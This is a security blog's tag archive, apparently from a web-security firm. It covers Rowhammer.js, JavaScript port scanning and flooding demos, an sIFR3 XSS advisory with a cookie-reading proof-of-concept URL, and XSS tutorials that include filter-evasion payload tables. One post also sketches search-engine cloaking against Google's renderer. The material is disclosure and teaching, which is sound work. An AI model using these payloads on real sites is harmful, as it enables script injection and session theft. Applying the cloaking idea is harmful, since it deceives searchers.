Tag Archives: JavaScript

Hammering at speed limits

Slate has a well-written article explaining an interesting new vulnerability called “Rowhammer.” The white paper is here, and the code repository is here. Here’s the abstract describing the basic idea:

As DRAM has been scaling to increase in density, the cells are less isolated from each other. Recent studies have found that repeated accesses to DRAM rows can cause random bit flips in an adjacent row, resulting in the so called Rowhammer bug. This bug has already been exploited to gain root privileges and to evade a sandbox, showing the severity of faulting single bits for security. However, these exploits are written in native code and use special instructions to flush data from the cache.

In this paper we present Rowhammer.js, a JavaScript-based implementation of the Rowhammer attack. Our attack uses an eviction strategy found by a generic algorithm that improves the eviction rate compared to existing eviction strategies from 95.2% to 99.99%. Rowhammer.js is the first remote software-induced hardware-fault attack. In contrast to other fault attacks it does not require physical access to the machine, or the execution of native code or access to special instructions. As JavaScript-based fault attacks can be performed on millions of users stealthily and simultaneously, we propose countermeasures that can be implemented immediately.

What’s interesting to me is how much computers had to advance to make this situation possible. First, RAM had to be miniaturized enough that adjacent memory cells can interfere with one another. The RAM’s refresh rate had to be optimally low, because refreshing memory use up time and power.

Lots more had to happen before this was remotely exploitable via JavaScript. JavaScript wasn’t designed to quickly process binary data, or really even deal with binary data. It’s a high-level language without pointers or direct memory access. Semantically, JavaScript arrays aren’t contiguous blocks of memory like C arrays. They’re special objects whose keys happen to be integers. The third and fourth entries of an array aren’t necessarily next to each other in memory, and each item in an array might have a different type.

Typed Arrays were introduced for performance reasons, to facilitate working with binary data. They were especially necessary for allowing fast 3D graphics with WebGL. Typed Arrays do occupy adjacent memory cells, unlike normal arrays.

In other words, computers had to get faster, websites had to get fancier, and performance expectations had to go up.

Preventing the attack would kill performance at a hardware level: the RAM would have to spend up to 35% of its time refreshing itself. Short of hardware changes, the authors suggest that browser vendors implement tests for the vulnerability, then throttle JavaScript performance if the system is found to be vulnerable. JavaScript should have to be actively enabled by the user when they visit a website.

It seems unlikely that browser vendors are going to voluntarily undo all the work they’ve done, but they could. It would be difficult to explain to the “average person” that their computer needs to slow down because of some “Rowhammer” business. Rowhammer exists because both hardware and software vendors listened to consumer demands for higher performance. We could slow down, but it’s psychologically intolerable. The known technical solution is emotionally unacceptable to real people, so more advanced technical solutions will be attempted.

In a very similar way, we could make a huge dent in pollution and greenhouse gas emissions if we slowed down our cars and ships by half. For the vast majority of human history, we got by and nobody could travel close to 40 mph, let alone 80 mph.

When you really have information that people want, the safest thing is probably just to use typewriters. Russia already does, and Germany has considered it.

The solutions to security problems have to be technically correct and psychologically acceptable, and it’s the second part that’s hard.

#HackerKast 14 Bonus Round: Canadian Beacon – JavaScript Beacon and Performance APIs

In this week’s bonus footage of HackerKast, I showed Matt my new JavaScript
port scanning magic that I dubbed “Canadian Beacon” because it uses the new Beacon API. It was either that or Kevin Beacon – I had to make a tough choice with my puns. It utilizes both the performance API and the beacon API.

It shows how you can use iframes and performance APIs to do basically the same thing we used to be able to do with onload event handlers on iframes of yester-year.

Not a huge deal, because we can do this in a bunch of different ways already, but it shows how easy it is to do JavaScript port scanning; and even if someone bothers to shut one variant down, this and other variants will take their place. This is one of the major reasons Aviator has chosen to break access to RFC1918 from the Internet.

Only a few browser variants are vulnerable, Chrome and apparently Firefox though I only got it working in Chrome. If you want to see a demo you can check out Canadian Beacon here.

#HackerKast 14: Google’s XSS Problem, Delta Airlines, Sands Casino, Eric Schmidt and more Google Facepalms

I come bearing a special Holiday HackerKast for you all today! The crew here at WhiteHat were talking about just picking these up after the New Year but there was just too much going on to skip out. Let’s jump right in with our first story about a cool persistent XSS problem our friends over at Google had this week. This bug was discovered by some SEO folk which is pretty interesting but the problem lay within a Google feature called “rich snippets.” In the search engine results page, there is a small snippet of content from every website under the links. It turns out that if you craft your website just the right way and include a bit of Javascript, that Javascript will fire if your site shows up in those search results. These XSS landing spaces of sourced-in code are always tricky.

Next, we talked about a story that hit close to home for me as a Delta Airlines loyal flyer. The attack disclosed this week was taking advantage of the lack of protections on electronic boarding passes. The super duper hack here was to break out your favorite hacking tool (a web browser) and just rotate through the URLs of your boarding pass and access other people’s boarding passes. That in itself wasn’t terrifying to me because if I tried to board the plane after somebody pretending to be me boarded, I feel like that would turn out poorly for them fast. The trickier part was that apparently, according to Robert, you could even change seat assignments and kick people out of first class. This is also the same hack that landed Weev in jail, even though granted Weev took it a bit further. I could’ve used this bug to get me out of the middle seat on my last long flight.

Another bad breach this week for the Sands Casinos. They disclosed a recent breach, without sharing much detail. The attackers in this case were attempting to brute force the casino’s VPN service for days on end until Sands got fed up and blocked them from doing that. This caused the attackers to shift focus, and they found a public facing staging (QA) website which didn’t have the same security controls as production would, and they were able to compromise the network that way. The details are sparse but apparently they did a lot of damage once they pivoted around the internal network.

We then had a little discussion about a noble Google proposal from their Chromium team to mark anything over HTTP as “insecure.” In their opinion, everything on the web should be encrypted over HTTPS or using some other TLS encrypted channel. The proposal puts forth the idea of flagging any connection in chrome that isn’t using TLS as “insecure” and warning the user about it. The points we brought up is that there is very little at that point for the user to do to remedy the fact that a website isn’t using TLS. Robert also brought up the opinion that there are tons of sites we don’t care about being encrypted. He also suggested that Google’s motivation of doing this is probably to do with the recent AT&T/Verizon news of the ISPs intercepting, monitoring, and modifying traffic. My opinion of all this was at least optimistic about the mindset change that it might stir up in everyday users as they at least learn the difference between HTTP and HTTPS.

We followed this somewhat uplifting Google news with a straight Google facepalm. Eric Schmidt, executive chairman and former CEO of Google, was quoted stating that if users just used Incognito mode in Chrome that they’d be safe from the NSA. Not only was he quoted saying that he thought this was true, he actually, and I quote, “strongly recommended” Incognito mode to avoid tracking from the government. We all joined in a collective facepalm after this one.

Lastly, after a nice long Holiday episode this week, we covered a fun bug recently disclosed in some popular router firmware that was used by many manufacturers. Some researchers discovered that just by sending a maliciously malformed cookie as part of an HTTP request through any routers using this firmware, they could get immediate remote code execution with admin privileges on the device itself. Important side note: this isn’t home routers we are talking about, it is ISP Residential Gateway routers. The funny (sad?) part about this bug is that the vulnerable code was written in 2002. Should I repeat that? The vulnerable code was written in 2002. Even crazier is that it was fixed by the firmware developer in 2005. Even though all of that is true, the router manufacturers are putting out brand new 2014 devices with the 2002 firmware. The researchers who found this bug scanned around the internet and found ~12 million vulnerable devices, in some cases affecting up to half the Internet users in a given country. Even though this is the longest paragraph, I’m leaving out some details so check out the video.

Keep your eyes out for some bonus footage Robert and I filmed after this episode with some cool iframe hacking.

Thats all we have this week. Happy Holidays from all of us here at WhiteHat Security, I hope you all have a wonderful rest of your year and at least a few mental days off from work. Be safe and see you in 2015!

How I Hacked Google (For Good)
Need a last minute flight?
Now at the Sands Casino: An Iranian Hacker in Every Server
Marking HTTP As Non-Secure
12 Million Home Routers Vulnerable to Takeover
Top Google exec mistakenly suggests Chrome’s incognito mode can foil the NSA

#HackerKast 13 Bonus Round: FlashFlood – JavaScript DoS

In this week’s HackerKast bonus footage, I wrote a little prototype demonstrator script that shows various concepts regarding JavaScript flooding. I’ve run into the problem before where people seem to not understand how this works, or even that it’s possible to do this, despite multiple attempts at trying to explain it over the years. So, it’s demo time! This is not at all designed to take down a website by itself, though it could add extra strain on the system.

What you might find though, is that heavy database driven sites will start to falter if they rely on caching to protect themselves. Specifically Drupal sites tend to be fairly prone to this issue because of how Drupal is constructed, as an example.

It works by sending tons of HTTP requests using different paramater value pairs each time, to bypass caching servers like Varnish. Ultimately it’s not a good idea to ever use this kind of code as an adversary because it would be flooding from their own IP address. So instead this is much more likely to be used by an adversary who tricks a large swath of people into executing the code. And as Matt points out in the video, it’s probably going to end up in XSS code at some point.

Anyway, check out the code here. Thoughts are welcome, but hopefully this makes some of the concepts a lot more clear than our previous attempts.

JavaScript Rendering and SEO

Over the weekend I spent some thinking about the fact that Google renders JavaScript. It occurred to me that Google is almost certainly smart enough to (a) cache all JS so that if it sees it multiple times it’s not going to pull it multiple times, and (b) also check to make sure that the JavaScript renderer doesn’t run away and eat up tons of processor time if the JavaScript is poorly written. Therein may lie opportunity for the malicious marketer (often called an SEO – search engine optimizer/search engine optimizing) who is trying to get to the top of the Google search results page.

Let’s say Google will only perform a loop as long as it believes it is not infinite and/or as long as the rendering engine doesn’t loop “too many” times. By finding that looping limit of N, you can do N+1 loops and put your cloaking code (where Google sees a benign high quality site and the user sees something quite differently) in plain sight. You may have to do some testing, and it’s entirely possible that Google’s rendering engine uses the same limits the browser does when it determines if something is going to run slowly before it throws a “slow script” warning (that’s the worst case scenario for messing with it).

Google’s rendering engine has almost certainly got to have limits though, and there is some experimentation that can be done there. The trick would be to find a mathematical JavaScript function that Google gives up on but the browser wouldn’t. As an aside, if Google is not smart enough to put limits in place, you can use it to mine bitcoin for you by making each URL unique so that Google can’t cheat and cache it. Either way, a malicious marketer wins, assuming there is no penalty associated.

Of course, it is possible that Google may use the “slow script” as a signal of a poor quality site; I know I would. It stands to reason that they may use that as a signal, because page load time has always been something Google has professed to care about, and with JavaScript rendering they can get a clearer view of that. That means that marketers should be very cautious in allowing third party JavaScript on their site for reasons beyond the security implications, since if it slows down page rendering time that could easily be cause to reduce their SEO rankings. There’s definitely some experimentation to do there.

The short of it is, if you run a website, try to avoid 3rd party JavaScript whenever possible to avoid this sort of slowness that might be used as a negative SEO tool.

sIFR3 Cross Site Scripting


WhiteHat Security Vulnerability Advisory

Affected Product:   scalable Inman Flash Replacement (sIFR) version 3

Vulnerability:   Cross Site Scripting

CVE ID:   CVE-2011-3641

Affected Versions:   sIFR3 r436 and prior

Vendor Homepage:   http://wiki.novemberborn.net/sifr3/

Description:   sIFR3 allows for the use of non-free fonts within a web application via Adobe Flash plugin. The sIFR3 module interfaces with an external JS file and utilizes the parameter “version” to ensure the two files are compatible. The textField that is displayed upon invalid input in the “version” parameter supports limited HTML rendering and allows for remote code execution Cross Site Scripting. An attacker can render arbitrary images that execute malicious javascript and in Adobe Flash player 10.3 and prior include a large break space to remove the encapsulating error message.

Proof of Concept:

/cochin.swf?version=<a href="javascript:confirm(document.cookie)"><img src="Attacker_Image.jpg"/></a><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>


Recompile any affected modules with the latest release (r437) which can be obtained from the vendor’s website: http://dev.novemberborn.net/sifr3/nightlies/sifr3-r437-CVE-2011-3641.zip

Editor’s note: Portions of this blog, including the headline, were edited by the author on December 9 after a CVE was assigned and the correct name had been given to the vuln.

Escaping Escapes

Sometimes a server will escape special characters that are injected: For instance, injecting a " character and having it reflect as \":

Injection: xss"



Sometimes, ironically enough, you can outsmart filters by using their own tricks against them. Try escaping their escape character like this:

Injection: xss\"



However, if the server escapes your injected \ as \\, this technique will not work:

Injection: xss\"


Not fun.

If you’re able to break out by escaping their escape, you’ll need to blend back in with something other than a ", because the escaping process breaks the syntax:

Injection: xss\"*alert(1)*\"


The *\\ following alert(1) is not valid syntax and will cause an error.


Injection: xss\"*alert(1)//


Commenting out the rest is your best bet, unless they escape your // like \/\/. When this happens, I don’t think there’s much you can do.

Escaping escapes reminds me of the classic movie moment, when a bad guy gets the drop on a good guy, but then another good guy gets the drop on the bad guy. It always cracks me up when this evasion technique works.

Anatomy of an XSS Injection

I love XSS, especially in JavaScript space. It’s like a puzzle. Sometimes it’s a four-piece jumbo jigsaw puzzle, like landing in an empty script tag with no filtering or encoding, but other times it’s a 10,000-piece mystery, requiring a complex injection to overcome multiple obstacles. Either way, it’s always satisfying when that ‘1’, ‘xss’, or ‘lol’ pops up in an alert window.

Break Out, Execute Payload, Blend In

There are typically three pieces to an XSS injection: break out, execute payload, and blend in.  Consider the following:

Injection:  xss


In order to execute payload, we have to break out of the double-quoted string we’re landing in.

Injection (break out):  xss";


We’ve now broken out and terminated the x= line of code; it’s time to inject some payload.

Injection (break out + execute payload):  xss";alert(1);


Our payload is in place, but the "; following our injection is not proper syntax and will cause an error; we need to blend back in to the remaining code.

Injection (break out + execute payload + blend in):  xss";alert(1);//


By adding a comment, our injection now results in syntactically correct code that will execute our payload successfully.

Sometimes there’s nothing to break out of or blend back into, but often both are necessary in some degree to ensure that the code is syntactically valid and that the payload is executable.

Complex Breakouts

Sometimes the code path doesn’t allow your injection to fire, like when landing inside a function that’s never called on the page. In those instances, assuming that you can’t use </script> to break out, you must break out of any strings you’re in, as well as the actual function.  Furthermore, the end of your injection must blend back in to whatever code follows:

Injection:  xss

function neverCalledOnThePage()

Injection:  xss"}alert(1);if(0){//

function neverCalledOnThePage()

Helpful tips for dealing with this type of scenario are highly dependent on context, so I won’t go into any more detail here. Basically, break out from as little as is needed in order to get into executed space, and be as minimalistic as possible when blending back in to the code (use a comment, if possible). Replicating exactly what was present before you broke out is usually not necessary; however, referencing what was present is useful when crafting a syntactically correct blend back in to the code.

Filter Evasion: Concatenation & JavaScript Operators

In my previous post, I talked about the basic anatomy of an XSS injection: break out, execute payload, and blend in. While the anatomy is simple in principle, things can become more complex when filters, escaping, and encoding enter the mix.

One of the examples I used in the previous post was as follows:

Injection: xss";alert(1);//


Staying with this example, let’s say we are unable to add any of the following characters: / < > ; What then? Some of you are familiar with using string concatenation to execute XSS, like this:

Injection: xss"%2balert(1)%2b"


In JavaScript, the ‘+’ is simply an operator. How it will be interpreted will differ depending on the context. In some cases (x="hi "+"there"), it will be seen as string concatenation; but when applied to numbers (x=40+2), it will be seen as a mathematical operator. Because JavaScript checks basic syntax only before executing, operators other than the ‘+’ can be used; for example, an asterisk:

Injection: "*alert(1)*"


Used as a mathematical operator, the asterisk obviously will not compute anything meaningful when applied to strings (unless the strings can be parsed as numeric, like x="6"*"7"), so the JavaScript engine will readily accept the injection because it is syntactically correct.

The engine must first evaluate the alert(1) function call before it can evaluate the strings and asterisks. This is like the order of operations in mathematics: 3*2+1=7, but 3*(2+1)=9.  That is, the parentheses take precedence in the order of operations, just as the alert(1) function call takes precedence in the order of execution with code.  And, therefore, as long as valid JavaScript operators connect the function call to the surrounding operands, all will be merry and grand in the land of exploits.

Assuming there are no filtering obstacles to overcome, the following mathematical, logical, and bitwise operators can be used in our injection without violating syntax, and will result in our alert being executed:

Operator Injection Reflection
Addition & String Concatenation "%2balert(1)%2b" <script>x=""+alert(1)+"";y=42;</script>
Subtraction "-alert(1)-" <script>x=""-alert(1)-"";y=42;</script>
Multiplication "*alert(1)*" <script>x=""*alert(1)*"";y=42;</script>
Division "/alert(1)/" <script>x=""/alert(1)/"";y=42;</script>
Modulus; %25 needs to reflect as %. "%25alert(1)%25" <script>x=""%alert(1)%"";y=42;</script>
“Less Than” Comparison "<alert(1)<" <script>x=""<alert(1)<"";y=42;</script>
“Greater Than” Comparison ">alert(1)>" <script>x="">alert(1)>"";y=42;</script>
“Less Than or Equal To” Comparison "<=alert(1)<=" <script>x=""<=alert(1)<="";y=42;</script>
“Greater Than or Equal To” Comparison ">=alert(1)>=" <script>x="">=alert(1)>="";y=42;</script>
“Equal To” Comparison "==alert(1)==" <script>x=""==alert(1)=="";y=42;</script>
Strong-Typed “Equal To” Comparison "===alert(1)===" <script>x=""===alert(1)==="";y=42;</script>
“Not Equal To” Comparison "!=alert(1)!=" <script>x=""!=alert(1)!="";y=42;</script>
Logical “and”; %26 needs to reflect as &. "%26%26alert(1)%26%26" <script>x=""&&alert(1)&&"";y=42;</script>
Logical “or”; Note: will only result in payload executing if preceding string is evaluated as “false” by the JS engine, like an empty string. "||alert(1)||" <script>x=""||alert(1)||"";y=42;</script>
Bitwise “and”; %26 needs to reflect as &. "%26alert(1)%26" <script>x=""&alert(1)&"";y=42;</script>
Bitwise “or” "|alert(1)|" <script>x=""|alert(1)|"";y=42;</script>
Bitwise “xor” "^alert(1)^" <script>x=""^alert(1)^"";y=42;</script>
Bitwise Left Shift "<<alert(1)<<" <script>x=""<<alert(1)<<"";y=42;</script>
Bitwise Right Shift ">>alert(1)>>" <script>x="">>alert(1)>>"";y=42;</script>
Bitwise Right Shift With Zeros ">>>alert(1)>>>" <script>x="">>>alert(1)>>>"";y=42;</script>
Ternary Conditional Expression "?alert(1):" <script>x=""?alert(1):"";y=42;</script>


You may be asking, “Why bother listing << if simply < can be used?” I’m so glad you asked!  The answer is this: Every application is unique, and you never know when < might get filtered out, while << does not.

Overall it’s always good to know as many options as possible, because even the most unlikely one may end up being the key.